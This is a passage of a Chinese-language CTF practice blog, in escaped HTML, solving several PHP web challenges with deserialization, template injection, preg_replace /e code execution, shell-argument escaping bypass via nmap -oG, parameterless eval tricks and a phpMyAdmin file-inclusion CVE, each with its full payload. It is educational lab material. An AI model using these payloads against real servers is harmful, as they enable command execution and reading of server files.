class=\"wp-block-paragraph\">\u6700\u540e\u627e\u51faflag\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#\u6784\u9020payload\n#\u53cd\u5e8f\u5217\u5316\u524d\u7684\u8bed\u53e5\uff1acat \/tmp\/flagoefiu4r93\nfunc=unserialize&amp;p=O:4:\"Test\":2:{s:1:\"p\";s:22:\"cat \/tmp\/flagoefiu4r93\";s:4:\"func\";s:6:\"system\";}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0407b52a419ce0fecb90cd14ac4d439d.png\" alt=\"img\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{1ffa98ad-ba5d-4ce9-83b1-bdbaa1b54302}<\/code><\/pre>\n\n\n\n<h3 id=\"2-bjdctf2020-the-mystery-of-ip\" class=\"wp-block-heading\">2.[BJDCTF2020]The mystery of ip<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/72973b03e737b882008029f2636feeb1.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b<code>hint<\/code>\u9875\u9762\uff1a<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/1c376f24aee082031d903098b92fbb32.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ed3\u5408\u9898\u76ee\u540d\uff0cIP\u7684\u79d8\u5bc6\uff0cflag\u9875\u9762\u4e5f\u51fa\u73b0\u4e86IP\uff0c\u731c\u6d4b\u4e3aX-Forwarded-For\u5904\u6709\u95ee\u9898<br>\u4f7f\u7528BurpSuite\u6293\u53d6\u6570\u636e\u5305\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/2df1f822baec2dc8fd6a1b552697fa3d.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6dfb\u52a0HTTP\u8bf7\u6c42\u5934\uff1a<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/4b5c788c40f1e9cefe95bab962d3c6ec.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>X-Forwarded-For: 1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u9001\u6570\u636e\u5305\uff0c\u5f97\u5230\u56de\u663e\u9875\u9762\uff1a<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/27e5f7d7c94f4abba69119b7a247d30f.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u88ab\u6210\u529f\u6267\u884c\uff0c\u8bf4\u660e<code>XFF<\/code>\u53ef\u63a7\uff0c\u6d4b\u8bd5\u4e86\u534a\u5929\uff0c\u56e0\u4e3a\u662fphp\u9875\u9762\uff0c\u6240\u4ee5\u6ca1\u60f3\u5230\u6a21\u7248\u6ce8\u5165\uff0c\u901a\u8fc7\u67e5\u9605\u8d44\u6599<br><strong>Flask<\/strong>\u53ef\u80fd\u5b58\u5728<strong>Jinjia2\u6a21\u7248\u6ce8\u5165\u6f0f\u6d1e<\/strong><br><strong>PHP<\/strong>\u53ef\u80fd\u5b58\u5728<strong>Twig\u6a21\u7248\u6ce8\u5165\u6f0f\u6d1e<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6dfb\u52a0\u6a21\u7248\u7b97\u5f0f\uff0c\u68c0\u6d4b\u5176\u662f\u5426\u53ef\u88ab\u6267\u884c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>X-Forwarded-For: {{7*7}}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/a02b080edbb2b0a10b2bb407a5d71dc2.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6a21\u7248\u4e2d\u7b97\u5f0f\u88ab\u6210\u529f\u6267\u884c\uff0c\u5c1d\u8bd5\u662f\u5426\u80fd\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>X-Forwarded-For: {{system('ls')}}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/06ada0dd7119b1322a047c38b4354245.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u547d\u4ee4\u53ef\u4ee5\u88ab\u6210\u529f\u6267\u884c\uff0c\u67e5\u627eflag\u7684\u4f4d\u7f6e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>X-Forwarded-For: {{system('ls \/')}}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/d638903efee7930af9721aa3f70f2423.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728<code>\/<\/code>\u76ee\u5f55\u4e0b\u67e5\u627e\u5230flag\uff0c\u8bfb\u53d6flag\uff0c\u6784\u9020payload\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/efb5faa8e51142048bd12d3b2722154d.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<h3 id=\"3-bjdctf2020-zjctf-\u4e0d\u8fc7\u5982\u6b64\" class=\"wp-block-heading\">3.[BJDCTF2020]ZJCTF\uff0c\u4e0d\u8fc7\u5982\u6b64<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">php\u7279\u6027<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u5148\u770b\u4ee3\u7801\uff0c\u63d0\u793a\u4e86next.php\uff0c\u7ed5\u8fc7\u9898\u76ee\u7684\u8981\u6c42\u53bb\u56de\u663enext.php<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.\u53ef\u4ee5\u770b\u5230\u8981\u6c42\u5b58\u5728text\u5185\u5bb9\u800c\u4e14text\u5185\u5bb9\u5f3a\u7b49\u4e8e\u540e\u9762\u7684\uff0c\u800c\u4e14\u5148\u901a\u8fc7\u8fd9\u4e2aif\u624d\u80fd\u6267\u884c\u4e0b\u9762\u7684file\u53c2\u6570\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/c1573b707aabe1d7cc04542ba758e166.png\" alt=\"img\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">3.\u770b\u5230\u7528\u7684\u662ffile_get_contents()\u51fd\u6570\u6253\u5f00text\u3002\u60f3\u5230\u7528data:\/\/\u534f\u8bae\uff0c\u53ef\u4ee5\u60f3\u6210\u521b\u5efa\u4e86\u4e34\u65f6\u6587\u4ef6\u8bfb\u53d6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">?text=data:\/\/text\/plain,I have a dream&amp;file=php:\/\/filter\/convert.base64-encode\/resource=next.php<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230\u9875\u9762\u6e90\u7801\uff0c\u63a5\u7740base64\u89e3\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0bfe0c67bc61ad2d596ba43c571ea9e3.png\" alt=\"image-20240124204402834\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>?php\n$id = $_GET&#091;'id'];\n$_SESSION&#091;'id'] = $id;\n\u200b\nfunction complex($re, $str) {\n    return preg_replace(\n        '\/(' . $re . ')\/ei',\n        'strtolower(\"\\1\")',\n        $str\n    );\n}\nforeach($_GET as $re =&gt; $str) {\n    echo complex($re, $str). \"n\";\n}\nfunction getFlag(){\n    @eval($_GET&#091;'cmd']);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53c2\u6570\u53ef\u4ee5\u4e0d\u7ba1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u770b\u51fa\uff0c\u5148\u4f20\u53c2\u6267\u884ccomplex\uff0c\u6765\u6267\u884cgetFlag()\u83b7\u5f97flag<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u5148\u770b\u4e0b\u9762\uff0c\u662f\u5176\u4e2d\u4ee3\u7801\u89e3\u91ca<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/1fa9fede43fc7f562b8a19d4fc68260f.png\" alt=\"image-20240124204821112\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u9875\u9762\u4f20\u53c2\u540e\u4f7f$re\u503c\u4e3a\u53c2\u53d8\u91cf123 $str\u503c\u4e3a${getflag()}\uff0c\u6765\u4f20\u5165complex\u51fd\u6570<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u89e3\u9898\u7684\u5173\u952e\u5c31\u662f<code>preg_replace()+\/e<\/code>\u5b58\u5728\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/next.php?S*=${getflag()}&amp;cmd=system('cat \/flag');<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/6eaf7473b475be2a149d26c64aa59647.png\" alt=\"image-20240124211307795\" \/><\/figure>\n\n\n\n<h3 id=\"4-buuctf-2018-online-tool\" class=\"wp-block-heading\">4.[BUUCTF 2018]Online Tool<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148\u8981\u77e5\u9053\u8fd9escapeshellarg\uff08\uff09\u548cescapeshellcmd\uff08\uff09\u4e24\u4e2a\u51fd\u6570\u7ec4\u5408\u4f1a\u4ea7\u751f\u6f0f\u6d1e<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/direct\/ee438dc5781d43fc98e4a1053f04f0e9.png\" alt=\"img\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148\u770b\u9898\uff0c\u63a5\u6536\u4e00\u4e2ahost\u53c2\u6570\uff0c\u503c\u81ea\u5b9a\u4e49\uff0c\u7ed3\u5408\u5b57\u7b26\u4e32\u7ecf\u8fc7md5\u52a0\u5bc6\u540e\u521b\u5efa\u76ee\u5f55\u5e76\u5207\u6362\u81f3\u76ee\u5f55\uff08\u8fd9\u91cc\u5176\u5b9e\u5c31\u53ef\u4ee5\u8054\u60f3\u5230\u5199\u6587\u4ef6\u4e86\uff0c\u521b\u5efa\u4e86\u76ee\u5f55\u5c31\u662f\u6765\u653e\u4e1c\u897f\u7684\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c\u4e86nmap\u547d\u4ee4\uff0c\u8fd9\u91cc\u6784\u9020payload\u5229\u7528\u4e86nmap\u4e2d\u7684-oG\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5b9e\u73b0\u5c06\u547d\u4ee4\u548c\u7ed3\u679c\u5199\u5230\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?host=' &lt;?php echo `cat \/flag`;?&gt; -oG test.php '<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148payload\u7ecf\u8fc7escapeshellarg\uff08\uff09\u51fd\u6570\u540e\u4f1a\u81ea\u52a8\u5957\u4e0a\u4e00\u5bf9\u5355\u5f15\u53f7\u5e76\u5bf9\u5185\u90e8\u5355\u5f15\u53f7\u8f6c\u4e49<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5373<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>'''' &lt;?php echo `cat \/flag`;?&gt; -oG test.php ''''<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u5916\u5c42\u5355\u5f15\u53f7\u662f\u51fd\u6570\u6dfb\u52a0\u7684<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5185\u90e8\u5355\u5f15\u53f7\u88ab\u8f6c\u4e49\uff0c\u4e5f\u88ab\u6dfb\u52a0\u4e0a\u53cc\u5f15\u53f7<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fdb\u5165escapeshellcmd\uff08\uff09\u51fd\u6570\u540e\u5bf9\u548c\u4e0d\u6210\u5bf9\u7684\u5355\u5f15\u53f7\u8fdb\u884c\u8f6c\u4e49<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> ''\\'' &lt;?php echo `cat \/flag`;?&gt; -oG test.php '\\'''<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u5355\u5f15\u53f7\u5c06payload\u5206\u6210\u4e86\u591a\u4efd<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> '' \\ '' &lt;?php......php '\\' ''<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u6837payload\u5c31\u4e0d\u4f1a\u88ab\u5355\u5f15\u53f7\u5305\u88f9\uff0c\u53ef\u4ee5\u6b63\u5e38\u6267\u884c\u547d\u4ee4\u4e86<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u56e0\u4e3a\u540e\u7aef\u662flinux\u7cfb\u7edf\uff0c\u5728linux\u4e2d\uff0c\u4ee3\u8868\u8f6c\u4e49\u7b26\uff0csystem\u6267\u884c\u547d\u4ee4\u7684\u53c2\u6570\u662fstring\u7c7b\u578b\uff0c\u8f6c\u4e49\u4e86\u4e5f\u80fd\u6b63\u5e38\u6267\u884c\uff0c\u6ca1\u88ab\u5355\u5f15\u53f7\u5305\u88f9\u7684\u5c31\u662f,\u88ab\u5355\u5f15\u53f7\u5305\u88f9\u7684\u4ecd\u662f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e8c\u4e2a\u503c\u5f97\u6ce8\u610f\u7684\u5730\u65b9\u662f\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u540e\u7684payload\u8981\u52a0\u7a7a\u683c\u548c&#8217;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u52a0\u7a7a\u683c\u6700\u540e\u6587\u4ef6\u540d\u53d8\u4e3atest.php\uff0c\u4f1a\u88ab\u89e3\u6790\u4e3a\u8def\u5f84\uff0ctest.php \u540e\u9762\u7684\u4f1a\u88ab\u5ffd\u7565<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u52a0\u5355\u5f15\u53f7\u4f1a\u53d8\u6210test.php&#8217;\uff0c\u90fd\u65e0\u6cd5\u6b63\u5e38\u6267\u884c<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/direct\/82e59df37b2e48e88878c7b109814712.png\" alt=\"img\"><\/p>\n\n\n\n<h3 id=\"5-gxyctf2019-\u7981\u6b62\u5957\u5a03\" class=\"wp-block-heading\">5.[GXYCTF2019]\u7981\u6b62\u5957\u5a03<\/h3>\n\n\n\n<h4 id=\"\u8fd9\u4e2a\u9898\u91cd\u70b9\u5728\u4e8e\u65e0\u53c2\u6570\u7ed5\u8fc7\" class=\"wp-block-heading\">\u8fd9\u4e2a\u9898\u91cd\u70b9\u5728\u4e8e\u65e0\u53c2\u6570\u7ed5\u8fc7<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148\u6765\u770b\u4e00\u4e0b\u8fd9\u4e2a\u754c\u9762<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/1457dfbfaf04375105c58b4cdeb3c947.png\" alt=\"img\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b\u6e90\u4ee3\u7801\uff0c\u76ee\u5f55\u6587\u4ef6\u626b\u63cf\u4ee5\u53ca<a href=\"https:\/\/so.csdn.net\/so\/search?q=\u6293\u5305&amp;spm=1001.2101.3001.7020\">\u6293\u5305<\/a>\u90fd\u6ca1\u4ec0\u4e48\u6709\u4ef7\u503c\u7684\u4fe1\u606f\u3002\u4f46\u662fweb\u9898\u5982\u679c\u6ca1\u6709\u4ec0\u4e48\u529f\u80fd\u9875\u9762\uff0c\u4e00\u5b9a\u6709\u4ec0\u4e48\u63d0\u793a\u3002\u82e5\u63d0\u793a\u4e5f\u6ca1\u6709\uff0c\u4e00\u822c\u5c31\u6cc4\u9732\u4e86\u6587\u4ef6\u6216\u8005\u6e90\u7801\u7b49\u3002\u8fd9\u9898\u5c31\u662f\u6e90\u7801\u6cc4\u9732 \u3002\u4f7f\u7528GitHack<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00index\u7684\u6e90\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\ninclude \"flag.php\";\necho \"flag\u5728\u54ea\u91cc\u5462\uff1f&lt;br&gt;\";\nif(isset($_GET&#091;'exp'])){\n    if (!preg_match('\/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/\/i', $_GET&#091;'exp'])) {\n        if(';' === preg_replace('\/&#091;a-z,_]+((?R)?)\/', NULL, $_GET&#091;'exp'])) {\n            if (!preg_match('\/et|na|info|dec|bin|hex|oct|pi|log\/i', $_GET&#091;'exp'])) {\n                \/\/ echo $_GET&#091;'exp'];\n                @eval($_GET&#091;'exp']);\n            }\n            else{\n                die(\"\u8fd8\u5dee\u4e00\u70b9\u54e6\uff01\");\n            }\n        }\n        else{\n            die(\"\u518d\u597d\u597d\u60f3\u60f3\uff01\");\n        }\n    }\n    else{\n        die(\"\u8fd8\u60f3\u8bfbflag\uff0c\u81ed\u5f1f\u5f1f\uff01\");\n    }\n}\n\/\/ highlight_file(__FILE__);\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f88\u660e\u663e\uff0c\u6e90\u7801\u5b58\u5728\u4e09\u5c42\u8fc7\u6ee4\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u7b2c\u4e00\u5c42\uff0c\u8fc7\u6ee4\u4e86\u4f2a\u534f\u8bae\uff0c\u8fd9\u91cc\u4e0d\u8003\u8651\u4f2a\u534f\u8bae\u4f7f\u7528<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\/[a-z,_]+\/<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[a-z,_]\uff1a\u5339\u914d\u5b57\u7b26\u4e0e\u4e0b\u5212\u7ebf<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">+\uff1a\u53ef\u5339\u914d\u524d\u4e00\u4e2a\u8868\u8fbe\u5f0f\u591a\u6b21<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(?R)\uff1a\u6574\u4e2a\u8868\u8fbe\u5f0f\u8fed\u4ee3\u5339\u914d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08?R)?\uff1a\u5141\u8bb8&#8221;()&#8221;\u5185\u51fa\u73b01\u4e2a\u62160\u4e2a \u6bd4\u5982:c(a()b()),c(a())<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6240\u4ee5\u8fd9\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u542b\u4e49\u662f\u5339\u914dvar_dump(scandir())\u8fd9\u79cd\u65e0\u53c2\u6570\u547d\u4ee4\u6267\u884c<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">3.\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u51fd\u6570<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">scandir(&#8216;.&#8217;)\u662f\u8fd4\u56de\u5f53\u524d\u76ee\u5f55,\u867d\u7136\u6211\u4eec\u65e0\u6cd5\u4f20\u53c2\uff0c\u4f46\u662f\u7531\u4e8elocaleconv() \u8fd4\u56de\u7684\u6570\u7ec4\u7b2c\u4e00\u4e2a\u5c31\u662f\u2018.\u2019\uff0ccurrent()\u53d6\u7b2c\u4e00\u4e2a\u503c\uff0c\u90a3\u4e48current(localeconv())\u5c31\u80fd\u6784\u9020\u4e00\u4e2a\u2018.\u2019,\u90a3\u4e48\u4ee5\u4e0b\u5c31\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u8fd4\u56de\u67e5\u770b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?exp=var_dump(scandir(current(localeconv())));<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b0e0ad8a87365b4e05e3c1bdad208de7.png\" alt=\"img\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b\u5230flag.php\u5728\u5f53\u5148\u6570\u7ec4\u7684\u7b2c4\u4e2a\u4f4d\u7f6e\uff0c\u6240\u4ee5\u9700\u8981\u79fb\u52a8\u6307\u9488<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">end()\uff0cnext() \uff0cprev() \uff0creset() \uff0ceach()\u597d\u50cf\u4e0d\u80fd\u91cd\u590d\u5957\u5a03<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u56e0\u4e3aflag\u5728\u5012\u6570\u7b2c\u4e8c\u4e2a\u4f4d\u7f6e\uff0c\u6240\u4ee5\u53cd\u8f6c\u6570\u7ec4\uff0c\u5728\u79fb\u52a8\u6307\u9488\u5230\u4e0b\u4e00\u4e2a\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?exp=var_dump(show_source(next(array_reverse(scandir(current(localeconv()))))));<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/3ad1f535fcc5411a3dae1d41f9e36365.png\" alt=\"img\" \/><\/figure>\n\n\n\n<h3 id=\"6-gwctf-2019-\u6211\u6709\u4e00\u4e2a\u6570\u636e\u5e93\" class=\"wp-block-heading\">6.[GWCTF 2019]\u6211\u6709\u4e00\u4e2a\u6570\u636e\u5e93<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0a\u6765\u4e00\u5806\u4e71\u7801\u8fd8\u539f\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u626b\u4e00\u904d\u53d1\u73b0\u6570\u636e\u5e93\u767b\u9646\u9875\u9762<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b4fd1660e79e133613a624728be23c33.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">CVE-2018-12613-PhpMyadmin\u540e\u53f0\u6587\u4ef6\u5305\u542b<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/67da621d97255400cac203a8977468e8.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (! empty($_REQUEST&#091;'target'])\n    &amp;&amp; is_string($_REQUEST&#091;'target'])\n    &amp;&amp; ! preg_match('\/^index\/', $_REQUEST&#091;'target'])\n    &amp;&amp; ! in_array($_REQUEST&#091;'target'], $target_blacklist)\n    &amp;&amp; Core::checkPageValidity($_REQUEST&#091;'target'])\n) {\n    include $_REQUEST&#091;'target'];\n    exit;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">target_blacklist\u6ca1\u5565\u4e1c\u897f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Core::checkPageValidity($_REQUEST[\u2018target\u2019])\uff0cCore\u7c7b\u53c2\u6570\u6821\u9a8c\u65b9\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public static function checkPageValidity(&amp;$page, array $whitelist = &#091;])\n    {\n        if (empty($whitelist)) {\n            $whitelist = self::$goto_whitelist;\n        }\n        if (! isset($page) || !is_string($page)) {\n            return false;\n        }\n\n        if (in_array($page, $whitelist)) {\n            return true;\n        }\n\n        $_page = mb_substr(\n            $page,\n            0,\n            mb_strpos($page . '?', '?')\n        );\n        if (in_array($_page, $whitelist)) {\n            return true;\n        }\n\n        $_page = urldecode($page);\n        $_page = mb_substr(\n            $_page,\n            0,\n            mb_strpos($_page . '?', '?')\n        );\n        if (in_array($_page, $whitelist)) {\n            return true;\n        }\n        return false;\n    }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">target=db_datadict.php?\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/flag<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/23117c8e2d209c8eb16bbfdc442bd0cb.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<h3 id=\"\u4e0b\u5468\u76ee\u6807\" class=\"wp-block-heading\">\u4e0b\u5468\u76ee\u6807<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u200b \u5e0c\u671b\u4e0b\u5468\u4e0d\u4f1a\u751f\u75c5()\uff0c\u53ea\u8981buu\u4e0d\u5d29\uff0c\u6211\u5c31\u8981\u8865\u4e0a\u8fd9\u5468\u6ca1\u505a\u5b8c\u7684\u9898\u548c\u5b8c\u6210\u4e0b\u5468\u7684\u6307\u6807<\/p>\n\n\n\n<h2 id=\"11-24-11-30\u5468\" class=\"wp-block-heading\">11.24&#8212;11.30\u5468<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u672c\u5468\u603b\u7ed3:\u8fd9\u5468\u57fa\u672c\u590d\u73b0\u5b8c\u6bd5NewStar2025\u7684\u6240\u6709\u9898\u76ee\uff0c\u6709\u4ef7\u503c\u7684\u4e00\u4e9b\u4f53\u73b0\u5728\u5468\u62a5\u91cc\u4e86\uff0c\u592a\u7b80\u5355\u7684\u5c31\u6ca1\u6709\u653e\u3002\u6574\u4f53\u505a\u4e0b\u6765\u4eca\u5e74\u7684NewStar\u7684\u96be\u5ea6\u4e0d\u5982\u53bb\u5e74\uff0c\u4f46\u662f\u4e5f\u4e0d\u4e4f\u8bbe\u8ba1\u7684\u5f88\u597d\u7684\uff0c\u8ba9\u4eba\u53d7\u76ca\u532a\u6d45\u7684\u9898\u76ee\uff08ps:week5\u7684\u6700\u540e\u4e00\u9053\u9898\u76ee\u8fd8\u6ca1\u6709\u6253\u901a\uff0c\u4e0b\u5468\u518d\u84b8\u4e00\u84b8\uff09\u3002buu\u4e5f\u505a\u4e86\u51e0\u9053\u9898\uff0c\u4f46\u8fd9\u5468\u611f\u89c9\u5b66\u5230\u7684\u4e1c\u897f\u8fd8\u662f\u4e0d\u7b97\u591a\uff0c\u4e0b\u5468\u7ee7\u7eed\u52aa\u529b\u5427\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u540c\u65f6\uff0c\u6211\u627e\u65f6\u95f4\u5bf9\u300a\u4f60\u7f3a\u5931\u7684\u90a3\u95e8\u8ba1\u7b97\u673a\u8bfe\u300b\u8fd9\u90e8\u975e\u5e38\u597d\u7684\u4f5c\u54c1\u8fdb\u884c\u4e86\u8fdb\u4e00\u6b65\u7684\u603b\u7ed3\u548c\u7f29\u51cf\uff0c\u5c06\u5176\u53d1\u5e03\u5728\u4e86\u6211\u7684\u535a\u5ba2\u4e0a\u9762\u5e76\u6301\u7eed\u66f4\u65b0\uff0c\u76ee\u7684\u5c31\u662f\u4e3a\u4e86\u80fd\u8ba9\u5b8c\u5168\u6ca1\u63a5\u89e6\u8fc7\u8ba1\u7b97\u673a\u7684\u771f\u6b63\u7684\u5c0f\u767d\u5feb\u901f\u4e0a\u624b\uff0c\u5982\u679c\u5927\u5bb6\u6709\u540c\u5b66\u6216\u670b\u53cb\u9700\u8981\u8fd9\u4e9b\u7684\uff0c\u8bf7\u5c3d\u60c5\u4f7f\u7528\uff08\uff09\uff0c\u5728\u6587\u7ae0\u7684\u6700\u540e\u6211\u5c06\u9644\u4e0aurl<\/p>\n\n\n\n<p 